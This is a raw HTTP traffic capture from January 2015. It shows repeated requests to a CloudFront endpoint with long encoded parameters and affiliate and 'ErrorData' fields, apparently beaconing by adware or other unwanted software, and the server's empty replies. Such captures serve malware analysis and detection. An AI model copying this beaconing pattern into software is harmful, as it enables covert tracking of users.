GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC87tt5DnIkTUi1f7P6QEzXxsw87geXZcc6iH7TcBEiX6xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mC4CV2fzfbciiLOAZPR1Km5YG8m1Yw9uIwGGvGlGOcRu2ptOjxubqQ==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUanmGGYVS7/B0JQd5HxgIXcchUPaSyVwwPCqh8CqOQ5D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kJabAPqoWp8p8mBQU_w0ypKIs8SgckKV95rmvSBx1qX4awZbpLDGnw==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQeEuJy eF9fKYX3Ti/i3YMyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUeTwptrmDJY5BPEhRyyBD7Ac3fvxJ8D0nDa/A2NFJWO0rTw7dxe6CN09bTlKO6m62vdHdhA4nk2pVhS3nOgbzyMV7jfzdNc7aj47RXVW0BJgaBTQsKD4VypIFZLU ffSvpMSRQ0rpzW6gHpYP9RNEEkwLBsnpDJR9jsaHLnc8lwjCsbt2RZNO3Sai8yw9mnnIkuYDDEimb20cPu/I73YRUphMOkSBaBldZXsf5FShvnrd2LHFor A0urMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pnvzTPZ6-iG3A-ILZvYOe4sF2ZZ6YgZv1_TgjVZe2FfFmWomHENcEw==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUc xh4nuC6oveZAqHIGghM2z4gguKWlYXUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PEdbn48/f7FAIqmILLy1PUiqyoEpCY0yDBlIvAVSj/Lf69nxSUTmRB7QrSyNo58RbUHT3bHMaZ3H2Md8ezDyarteKCQslftcEYXtB7b nmF4GckqLB1u96PHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GeUFV9lI2nV5G6kF2y0G40_6C2fb7adVkVgm5pO3dbziLWoYvWWtBQ==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN13JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: S7hyiqd0-EXuxEFSTM7jz0XMHIEXolmVVNE0BbFL7iSMS3WrTRKvdQ==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN2FyR4Q2YBo2R0chbtaLrix94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BML44L4MLf3kU79D-c0OGLx23zLrYvf9Jm69xwQkAMRIq9ZCbDfZDA==

....

GET /p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTvzzMobpRZVeMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AiwYrkTZsU4Nhig98Kt9W9EmFAL52sIXt4VzPv64An3FhzYd0CRAC1t0Q6e3lj6TKF/Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mbKF8YNI4H0gvNJrYvFdE0u-dK0mccrDwlhzfybCuVeTr0xMqwAPMw==

....

GET /p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3OiJI4oW9ZGQJQ qRImiBrA2L3SUlT1mit19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xlaQXTXUig5rG3hS4GJbIH9XZAhu6223mv0gjszeUOuOdCrbDjC3BQ==

....

GET /p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&ver=2.2.7764.475&rnd=29173&tss=4&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jF6q-T65UUP8udKRL4nLCsutW3-B5_jqE3I5zhrbPMRLp561pNOAbQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:06 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: jF6q-T65UUP8udKRL4nLCsutW
3-B5_jqE3I5zhrbPMRLp561pNOAbQ==......

GET /p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&ver=2.2.7764.475&rnd=29173&tss=6&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lHFsJA9OLZ8Px8JvDF_ezMa8AU1ET3Sh51HkDjZvI93A9ywNZEMHZQ==

....

GET /p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMkVSCntIhzCZedLPIUyUClqXRCjGf3kymM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OjVV8dHYZnr_X4KDwgXp--q2z1dcuuWc3EkLbRuoIge1b7dSBw80fw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: OjVV8dHYZnr_X4KDwgXp--q2z
1dcuuWc3EkLbRuoIge1b7dSBw80fw==......

GET /p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3hBbJg8F3GAAXonzCxckjkxAYdGcPvoXoxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WlJoQ1J3wh0Ynb2iPIavdtuGA2mTOxi-EBWN4hbfRLCgGR1eSuiF0g==

....

GET /p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&ver=2.2.7764.475&rnd=29173&tss=8&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BZGWa0H7O7ICyaDTwyQwiTxdHDTnvDdBnnxJbbvjErEoDrrx0YLDYQ==

....

GET /p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAEFi9dNonro9RQC drCF7eF/cZ0ZhX4k 1qLi0hJkaRk4yZ3sPsIQc2DBRdrcRJmx9SXN86XzQKNLUMM3uVG6umjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zE5o5BPjhvTJ5n0Yt9ZLNcFqsRl0tHDHZQRt9bKEUaKeF_P9BSKHdw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: zE5o5BPjhvTJ5n0Yt9ZLNcFqs
Rl0tHDHZQRt9bKEUaKeF_P9BSKHdw==......

GET /p.ashx?e=KC46TpkJIZzYLhsRuGeUacxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb Aiy4ZvM W8i8teG0picB3eoeudGrX9r3ODqz4gguKWlYXdsGxiYMuC8TKuJL2x o5erVet 40raSRZqUKOZJxNkSMyL2hojsUo7T9Mi8q zpXDfbEX1Gtkn K5TGjnxLKeg7/kJBOcX7k Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

